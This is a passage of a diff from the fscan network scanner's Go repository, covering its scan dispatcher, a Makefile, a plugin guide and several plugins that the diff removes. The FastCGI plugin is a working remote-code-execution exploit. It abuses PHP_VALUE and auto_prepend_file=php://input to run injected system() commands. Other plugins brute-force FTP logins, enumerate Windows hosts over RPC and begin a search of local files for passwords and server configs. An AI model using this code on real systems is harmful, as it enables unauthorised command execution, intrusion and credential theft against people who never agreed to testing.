}
}
// 端口扫描策略
AlivePorts = executeScanStrategy(Hosts, Common.Scantype)
// 处理自定义端口
if len(Common.HostPort) > 0 {
AlivePorts = append(AlivePorts, Common.HostPort...)
AlivePorts = Common.RemoveDuplicate(AlivePorts)
Common.HostPort = nil
fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts))
}
// 执行扫描任务
fmt.Println("[*] 开始漏洞扫描...")
for _, targetIP := range AlivePorts {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
fmt.Printf("[!] 无效的目标地址格式: %s\n", targetIP)
continue
}
info.Host, info.Ports = hostParts[0], hostParts[1]
executeScanTasks(info, Common.Scantype, &ch, &wg)
}
}
// URL扫描
for _, url := range Common.Urls {
info.Url = url
AddScan("web", info, &ch, &wg)
}
// 等待所有任务完成
wg.Wait()
Common.LogWG.Wait()
close(Common.Results)
fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num)
}
// executeScanStrategy 执行端口扫描策略
func executeScanStrategy(Hosts []string, scanType string) []string {
switch scanType {
case "webonly", "webpoc":
return NoPortScan(Hosts, Common.Ports)
case "hostname":
Common.Ports = "139"
return NoPortScan(Hosts, Common.Ports)
default:
if len(Hosts) > 0 {
ports := PortScan(Hosts, Common.Ports, Common.Timeout)
fmt.Printf("[+] 存活端口数量: %d\n", len(ports))
if scanType == "portscan" {
Common.LogWG.Wait()
return nil
}
return ports
}
}
return nil
}
// executeScanTasks 执行扫描任务
func executeScanTasks(info Common.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) {
if scanType == "all" || scanType == "main" {
// 根据端口选择扫描插件
switch info.Ports {
case "135":
AddScan("findnet", info, ch, wg)
if Common.IsWmi {
AddScan("wmiexec", info, ch, wg)
}
case "445":
AddScan("ms17010", info, ch, wg)
case "9000":
AddScan("web", info, ch, wg)
AddScan("fcgi", info, ch, wg)
default:
// 查找对应端口的插件
for name, plugin := range Common.PluginManager {
if strconv.Itoa(plugin.Port) == info.Ports {
AddScan(name, info, ch, wg)
return
}
}
// 默认执行Web扫描
AddScan("web", info, ch, wg)
}
} else {
// 直接使用指定的扫描类型
AddScan(scanType, info, ch, wg)
}
}
// Mutex用于保护共享资源的并发访问
var Mutex = &sync.Mutex{}
// AddScan 添加扫描任务到并发队列
func AddScan(scantype string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 获取信号量,控制并发数
*ch <- struct{}{}
// 添加等待组计数
wg.Add(1)
// 启动goroutine执行扫描任务
go func() {
defer func() {
wg.Done() // 完成任务后减少等待组计数
<-*ch // 释放信号量
}()
// 增加总任务数
Mutex.Lock()
Common.Num += 1
Mutex.Unlock()
// 执行扫描
ScanFunc(&scantype, &info)
// 增加已完成任务数
Mutex.Lock()
Common.End += 1
Mutex.Unlock()
}()
}
// ScanFunc 执行扫描插件
func ScanFunc(name *string, info *Common.HostInfo) {
defer func() {
if err := recover(); err != nil {
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
}
}()
// 检查插件是否存在
plugin, exists := Common.PluginManager[*name]
if !exists {
fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name)
return
}
// 直接调用扫描函数
if err := plugin.ScanFunc(info); err != nil {
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
}
}
// IsContain 检查切片中是否包含指定元素
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
-88
View File
@@ -1,88 +0,0 @@
# FScan 插件开发指南
## 1. 创建插件
`Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`:
```go
package Plugins
import (
"github.com/shadow1ng/fscan/Common"
)
func MyPluginScan(info *Common.HostInfo) error {
// 1. 基础检查
if info == nil {
return errors.New("Invalid host info")
}
// 2. 实现扫描逻辑
result, err := doScan(info)
if err != nil {
return err
}
// 3. 处理结果
if result.Vulnerable {
Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port))
}
return nil
}
```
## 2. 注册插件
`Core/Registry.go` 中注册你的插件:
```go
Common.RegisterPlugin("myplugin", Common.ScanPlugin{
Name: "MyPlugin",
Port: 12345, // 指定端口,如果是web类插件可设为0
ScanFunc: Plugins.MyPluginScan,
})
```
## 3. 开发规范
### 插件结构
- 每个插件应当是独立的功能模块
- 使用清晰的函数名和变量名
- 添加必要的注释说明功能和实现逻辑
### 错误处理
```go
// 推荐的错误处理方式
if err != nil {
return fmt.Errorf("plugin_name scan error: %v", err)
}
```
### 日志输出
```go
// 使用内置的日志函数
Common.LogSuccess("发现漏洞")
Common.LogError("扫描错误")
```
## 4. 测试验证
- 编译整个项目确保无错误
- 实际环境测试插件功能
- 验证与其他插件的兼容性
## 5. 提交流程
1. Fork 项目仓库
2. 创建功能分支
3. 提交代码更改
4. 编写清晰的提交信息
5. 创建 Pull Request
## 注意事项
- 遵循 Go 编码规范
- 保证代码可读性和可维护性
- 禁止提交恶意代码
- 做好异常处理和超时控制
- 避免过度消耗系统资源
- 注意信息安全,不要泄露敏感数据
+191
View File
@@ -0,0 +1,191 @@
# fscan Makefile
# 提供统一的构建、测试、检查命令
.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
# 默认目标
.DEFAULT_GOAL := help
# 项目配置
BINARY_NAME := fscan
GO := go
GOLANGCI_LINT := golangci-lint
# 颜色输出
BLUE := \033[0;34m
GREEN := \033[0;32m
RED := \033[0;31m
NC := \033[0m # No Color
## help: 显示帮助信息
help:
@echo "$(BLUE)fscan 构建工具$(NC)"
@echo ""
@echo "$(GREEN)可用命令:$(NC)"
@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /'
@echo ""
## deps: 下载依赖
deps:
@echo "$(BLUE)下载依赖...$(NC)"
$(GO) mod download
$(GO) mod verify
@echo "$(GREEN)✓ 依赖下载完成$(NC)"
## test: 运行测试
test:
@echo "$(BLUE)运行测试...$(NC)"
# 禁用go test内置的vet检查,因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
# golangci-lint会运行完整的vet检查(已在.golangci.yml中禁用printf
$(GO) test -vet=off -race -v ./...
@echo "$(GREEN)✓ 测试通过$(NC)"
## test-cover: 运行测试并生成覆盖率报告
test-cover:
@echo "$(BLUE)运行测试(带覆盖率)...$(NC)"
# 禁用go test内置的vet检查,原因同上
$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
@echo ""
@echo "$(BLUE)覆盖率报告:$(NC)"
$(GO) tool cover -func=coverage.out | tail -1
@echo ""
@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
$(GO) tool cover -html=coverage.out -o coverage.html
@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
## build: 构建生产版本(无 pprof,优化体积)
build:
@echo "$(BLUE)构建生产版本(无 pprof...$(NC)"
$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
## build-web: 构建带Web UI的版本(需要先构建前端)
build-web: build-ui
@echo "$(BLUE)构建Web版本...$(NC)"
$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web 启动Web界面(默认端口 10240)$(NC)"
## build-ui: 构建前端(需要Node.js和npm
build-ui:
@echo "$(BLUE)构建前端...$(NC)"
@if [ ! -d "web-ui" ]; then \
echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
echo "请先创建前端项目"; \
exit 1; \
fi
@cd web-ui && npm install && npm run build
@rm -rf web/dist
@cp -r web-ui/dist web/dist
@echo "$(GREEN)✓ 前端构建完成$(NC)"
## build-debug: 构建调试版本(带 pprof
build-debug:
@echo "$(BLUE)构建调试版本(带 pprof...$(NC)"
$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
## build-race: 构建 race 检测版本
build-race:
@echo "$(BLUE)构建 race 检测版本...$(NC)"
$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
@echo "$(BLUE)提示: 运行时会检测数据竞争,性能会降低$(NC)"
## build-all: 构建所有平台的二进制文件
build-all:
@echo "$(BLUE)构建所有平台...$(NC)"
@echo "Windows amd64..."
GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
@echo "Linux amd64..."
GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
@echo "Darwin amd64..."
GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
## lint: 运行代码检查
lint:
@echo "$(BLUE)运行代码检查...$(NC)"
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
echo "运行 'make install-tools' 安装"; \
exit 1; }
$(GOLANGCI_LINT) run ./...
@echo "$(GREEN)✓ 代码检查通过$(NC)"
## lint-fix: 运行代码检查并自动修复
lint-fix:
@echo "$(BLUE)运行代码检查(自动修复)...$(NC)"
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
echo "运行 'make install-tools' 安装"; \
exit 1; }
$(GOLANGCI_LINT) run --fix ./...
@echo "$(GREEN)✓ 代码检查完成(已自动修复)$(NC)"
## clean: 清理构建产物
clean:
@echo "$(BLUE)清理构建产物...$(NC)"
rm -f $(BINARY_NAME) $(BINARY_NAME).exe
rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
rm -f coverage.out coverage.html
rm -rf dist/ tests/logs/
@echo "$(GREEN)✓ 清理完成$(NC)"
## stress-test: 压力测试(需要先 build-debug
stress-test:
@echo "$(BLUE)压力测试...$(NC)"
@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
echo "请先运行 'make build-debug'"; \
exit 1; \
fi
@if [ -f tests/stress_test.sh ]; then \
bash tests/stress_test.sh; \
else \
echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
echo "请先创建压力测试脚本"; \
exit 1; \
fi
## ci: CI流程(lint + test + build
ci: lint test build
@echo "$(GREEN)✓ CI流程完成$(NC)"
## install-tools: 安装开发工具
install-tools:
@echo "$(BLUE)安装开发工具...$(NC)"
@echo "检查 golangci-lint..."
@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
$(GOLANGCI_LINT) version; \
else \
echo "$(BLUE)安装 golangci-lint...$(NC)"; \
if command -v go >/dev/null 2>&1; then \
echo "使用 go install 安装..."; \
go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
$(GOLANGCI_LINT) version || \
{ echo "$(RED)✗ 安装失败,请手动安装:$(NC)"; \
echo " go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
echo "或访问: https://golangci-lint.run/welcome/install/"; \
exit 1; }; \
else \
echo "$(RED)✗ Go 未安装,无法自动安装 golangci-lint$(NC)"; \
exit 1; \
fi; \
fi
## fmt: 格式化代码
fmt:
@echo "$(BLUE)格式化代码...$(NC)"
$(GO) fmt ./...
@echo "$(GREEN)✓ 代码格式化完成$(NC)"
## vet: 运行 go vet(跳过printf检查)
vet:
@echo "$(BLUE)运行 go vet...$(NC)"
$(GO) vet -printf=false ./...
@echo "$(GREEN)✓ go vet 检查通过$(NC)"
-127
View File
@@ -1,127 +0,0 @@
package Plugins
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"errors"
"fmt"
"net"
)
// ReadBytes 从连接读取数据直到EOF或错误
func ReadBytes(conn net.Conn) ([]byte, error) {
size := 4096 // 缓冲区大小
buf := make([]byte, size)
var result []byte
var lastErr error
// 循环读取数据
for {
count, err := conn.Read(buf)
if err != nil {
lastErr = err
break
}
result = append(result, buf[0:count]...)
// 如果读取的数据小于缓冲区,说明已经读完
if count < size {
break
}
}
// 如果读到了数据,则忽略错误
if len(result) > 0 {
return result, nil
}
return result, lastErr
}
// 默认AES加密密钥
var key = "0123456789abcdef"
// AesEncrypt 使用AES-CBC模式加密字符串
func AesEncrypt(orig string, key string) (string, error) {
// 转为字节数组
origData := []byte(orig)
keyBytes := []byte(key)
// 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("[-] 创建加密块失败: %v", err)
}
// 获取块大小并填充数据
blockSize := block.BlockSize()
origData = PKCS7Padding(origData, blockSize)
// 创建CBC加密模式
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
// 加密数据
encrypted := make([]byte, len(origData))
blockMode.CryptBlocks(encrypted, origData)
// base64编码
return base64.StdEncoding.EncodeToString(encrypted), nil
}
// AesDecrypt 使用AES-CBC模式解密字符串
func AesDecrypt(crypted string, key string) (string, error) {
// base64解码
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil {
return "", fmt.Errorf("[-] base64解码失败: %v", err)
}
keyBytes := []byte(key)
// 创建解密块
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("[-] 创建解密块失败: %v", err)
}
// 创建CBC解密模式
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
// 解密数据
origData := make([]byte, len(cryptedBytes))
blockMode.CryptBlocks(origData, cryptedBytes)
// 去除填充
origData, err = PKCS7UnPadding(origData)
if err != nil {
return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err)
}
return string(origData), nil
}
// PKCS7Padding 对数据进行PKCS7填充
func PKCS7Padding(data []byte, blockSize int) []byte {
padding := blockSize - len(data)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(data, padtext...)
}
// PKCS7UnPadding 去除PKCS7填充
func PKCS7UnPadding(data []byte) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("[-] 数据长度为0")
}
padding := int(data[length-1])
if padding > length {
return nil, errors.New("[-] 填充长度无效")
}
return data[:length-padding], nil
}
-92
View File
@@ -1,92 +0,0 @@
package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// FtpScan 执行FTP服务扫描
func FtpScan(info *Common.HostInfo) (tmperr error) {
// 如果已开启暴力破解则直接返回
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试匿名登录
flag, err := FtpConn(info, "anonymous", "")
if flag && err == nil {
return err
}
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 尝试用户名密码组合
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// FtpConn 建立FTP连接并尝试登录
func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
Host, Port, Username, Password := info.Host, info.Ports, user, pass
// 建立FTP连接
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, err
}
// 尝试登录
if err = conn.Login(Username, Password); err != nil {
return false, err
}
// 登录成功,获取目录信息
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
if err == nil && len(dirs) > 0 {
// 最多显示前6个目录
for i := 0; i < len(dirs) && i < 6; i++ {
name := dirs[i].Name
if len(name) > 50 {
name = name[:50]
}
result += "\n [->]" + name
}
}
Common.LogSuccess(result)
return true, nil
}
-375
View File
@@ -1,375 +0,0 @@
package Plugins
import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"strconv"
"strings"
"sync"
"time"
)
//links
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
// FcgiScan 执行FastCGI服务器漏洞扫描
func FcgiScan(info *Common.HostInfo) error {
// 如果设置了暴力破解模式则跳过
if Common.IsBrute {
return nil
}
// 设置目标URL路径
url := "/etc/issue"
if Common.Path != "" {
url = Common.Path
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
// 构造PHP命令注入代码
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
switch {
case Common.Command == "read":
reqParams = "" // 读取模式
case Common.Command != "":
reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", Common.Command, cutLine) // 自定义命令
default:
reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
}
// 设置FastCGI环境变量
env := map[string]string{
"SCRIPT_FILENAME": url,
"DOCUMENT_ROOT": "/",
"SERVER_SOFTWARE": "go / fcgiclient ",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_PROTOCOL": "HTTP/1.1",
}
// 根据请求类型设置对应的环境变量
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
} else {
env["REQUEST_METHOD"] = "GET"
}
// 建立FastCGI连接
fcgi, err := New(addr, Common.Timeout)
defer func() {
if fcgi.rwc != nil {
fcgi.rwc.Close()
}
}()
if err != nil {
fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
return err
}
// 发送FastCGI请求
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
return err
}
// 处理响应结果
output := string(stdout)
var result string
if strings.Contains(output, cutLine) {
// 命令执行成功,提取输出结果
output = strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, output)
}
Common.LogSuccess(result)
} else if strings.Contains(output, "File not found") ||
strings.Contains(output, "Content-type") ||
strings.Contains(output, "Status") {
// 目标存在FastCGI服务但可能路径错误
if len(stderr) > 0 {
result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v",
info.Host, info.Ports, output)
}
Common.LogSuccess(result)
}
return nil
}
// for padding so we don't have to allocate all the time
// not synchronized because we don't care what the contents are
var pad [maxPad]byte
const (
FCGI_BEGIN_REQUEST uint8 = iota + 1
FCGI_ABORT_REQUEST
FCGI_END_REQUEST
FCGI_PARAMS
FCGI_STDIN
FCGI_STDOUT
FCGI_STDERR
)
const (
FCGI_RESPONDER uint8 = iota + 1
)
const (
maxWrite = 6553500 // maximum record body
maxPad = 255
)
type header struct {
Version uint8
Type uint8
Id uint16
ContentLength uint16
PaddingLength uint8
Reserved uint8
}
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
h.Version = 1
h.Type = recType
h.Id = reqId
h.ContentLength = uint16(contentLength)
h.PaddingLength = uint8(-contentLength & 7)
}
type record struct {
h header
buf [maxWrite + maxPad]byte
}
func (rec *record) read(r io.Reader) (err error) {
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
return err
}
if rec.h.Version != 1 {
return errors.New("fcgi: invalid header version")
}
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
return err
}
return nil
}
func (r *record) content() []byte {
return r.buf[:r.h.ContentLength]
}
type FCGIClient struct {
mutex sync.Mutex
rwc io.ReadWriteCloser
h header
buf bytes.Buffer
keepAlive bool
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,
}
return
}
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
c.mutex.Lock()
defer c.mutex.Unlock()
c.buf.Reset()
c.h.init(recType, reqId, len(content))
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
return err
}
if _, err := c.buf.Write(content); err != nil {
return err
}
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
return err
}
_, err = c.rwc.Write(c.buf.Bytes())
return err
}
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags}
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
}
func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return c.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(c, recType, reqId)
b := make([]byte, 8)
for k, v := range pairs {
n := encodeSize(b, uint32(len(k)))
n += encodeSize(b[n:], uint32(len(v)))
if _, err := w.Write(b[:n]); err != nil {
return err
}
if _, err := w.WriteString(k); err != nil {
return err
}
if _, err := w.WriteString(v); err != nil {
return err
}
}
w.Close()
return nil
}
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int {
if size > 127 {
size |= 1 << 31
binary.BigEndian.PutUint32(b, size)
return 4
}
b[0] = byte(size)
return 1
}
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
// Closed.
type bufWriter struct {
closer io.Closer
*bufio.Writer
}
func (w *bufWriter) Close() error {
if err := w.Writer.Flush(); err != nil {
w.closer.Close()
return err
}
return w.closer.Close()
}
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
s := &streamWriter{c: c, recType: recType, reqId: reqId}
w := bufio.NewWriterSize(s, maxWrite)
return &bufWriter{s, w}
}
// streamWriter abstracts out the separation of a stream into discrete records.
// It only writes maxWrite bytes at a time.
type streamWriter struct {
c *FCGIClient
recType uint8
reqId uint16
}
func (w *streamWriter) Write(p []byte) (int, error) {
nn := 0
for len(p) > 0 {
n := len(p)
if n > maxWrite {
n = maxWrite
}
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
return nn, err
}
nn += n
p = p[n:]
}
return nn, nil
}
func (w *streamWriter) Close() error {
// send empty record to close the stream
return w.c.writeRecord(w.recType, w.reqId, nil)
}
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1
defer c.rwc.Close()
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil {
return
}
err = c.writePairs(FCGI_PARAMS, reqId, env)
if err != nil {
return
}
if len(reqStr) > 0 {
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil {
return
}
}
rec := &record{}
var err1 error
// recive untill EOF or FCGI_END_REQUEST
for {
err1 = rec.read(c.rwc)
if err1 != nil {
if err1 != io.EOF {
err = err1
}
break
}
switch {
case rec.h.Type == FCGI_STDOUT:
retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR:
reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST:
fallthrough
default:
break
}
}
return
}
-162
View File
@@ -1,162 +0,0 @@
package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"strconv"
"strings"
"time"
)
var (
// RPC请求数据包
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
// Findnet 探测Windows网络主机信息的入口函数
func Findnet(info *Common.HostInfo) error {
return FindnetScan(info)
}
// FindnetScan 通过RPC协议扫描网络主机信息
func FindnetScan(info *Common.HostInfo) error {
// 连接目标RPC端口
target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("[-] 连接RPC端口失败: %v", err)
}
defer conn.Close()
// 设置连接超时
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("[-] 设置超时失败: %v", err)
}
// 发送第一个RPC请求
if _, err = conn.Write(bufferV1); err != nil {
return fmt.Errorf("[-] 发送RPC请求1失败: %v", err)
}
// 读取响应
reply := make([]byte, 4096)
if _, err = conn.Read(reply); err != nil {
return fmt.Errorf("[-] 读取RPC响应1失败: %v", err)
}
// 发送第二个RPC请求
if _, err = conn.Write(bufferV2); err != nil {
return fmt.Errorf("[-] 发送RPC请求2失败: %v", err)
}
// 读取并检查响应
n, err := conn.Read(reply)
if err != nil || n < 42 {
return fmt.Errorf("[-] 读取RPC响应2失败: %v", err)
}
// 解析响应数据
text := reply[42:]
found := false
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
text = text[:i-4]
found = true
break
}
}
if !found {
fmt.Println("[+] FindNet扫描模块结束...")
return fmt.Errorf("[-] 未找到有效的响应标记")
}
// 解析主机信息
return read(text, info.Host)
}
// HexUnicodeStringToString 将16进制Unicode字符串转换为可读字符串
func HexUnicodeStringToString(src string) string {
// 确保输入长度是4的倍数
if len(src)%4 != 0 {
src += src[:len(src)-len(src)%4]
}
// 转换为标准Unicode格式
var sText string
for i := 0; i < len(src); i += 4 {
sText += "\\u" + src[i+2:i+4] + src[i:i+2] // 调整字节顺序
}
// 解析每个Unicode字符
unicodeChars := strings.Split(sText, "\\u")
var result string
for _, char := range unicodeChars {
// 跳过空字符
if len(char) < 1 {
continue
}
// 将16进制转换为整数
codePoint, err := strconv.ParseInt(char, 16, 32)
if err != nil {
return ""
}
// 转换为实际字符
result += fmt.Sprintf("%c", codePoint)
}
return result
}
// read 解析并显示主机网络信息
func read(text []byte, host string) error {
// 将原始数据转换为16进制字符串
encodedStr := hex.EncodeToString(text)
// 解析主机名
var hostName string
for i := 0; i < len(encodedStr)-4; i += 4 {
if encodedStr[i:i+4] == "0000" {
break
}
hostName += encodedStr[i : i+4]
}
// 转换主机名为可读字符串
name := HexUnicodeStringToString(hostName)
// 解析网络信息
netInfo := strings.Replace(encodedStr, "0700", "", -1)
hosts := strings.Split(netInfo, "000000")
hosts = hosts[1:] // 跳过第一个空元素
// 构造输出结果
result := fmt.Sprintf("[*] NetInfo\n[*] %s", host)
if name != "" {
result += fmt.Sprintf("\n [->] %s", name)
}
// 解析每个网络主机信息
for _, h := range hosts {
// 移除填充字节
h = strings.Replace(h, "00", "", -1)
// 解码主机信息
hostInfo, err := hex.DecodeString(h)
if err != nil {
return fmt.Errorf("[-] 解码主机信息失败: %v", err)
}
result += fmt.Sprintf("\n [->] %s", string(hostInfo))
}
// 输出结果
Common.LogSuccess(result)
return nil
}
-213
View File
@@ -1,213 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"os"
"path/filepath"
"runtime"
"strings"
)
var (
blacklist = []string{
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
}
whitelist = []string{
"密码", "账号", "账户", "配置", "服务器",
"数据库", "备忘", "常用", "通讯录",
}
// Linux系统关键配置文件
linuxSystemPaths = []string{
// Apache配置
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/httpd/httpd.conf",
"/usr/local/apache/conf/httpd.conf",
"/home/httpd/conf/httpd.conf",
"/usr/local/apache2/conf/httpd.conf",
"/usr/local/httpd/conf/httpd.conf",
"/etc/apache2/sites-available/000-default.conf",
"/etc/apache2/sites-enabled/*",
"/etc/apache2/sites-available/*",
"/etc/apache2/apache2.conf",
// Nginx配置
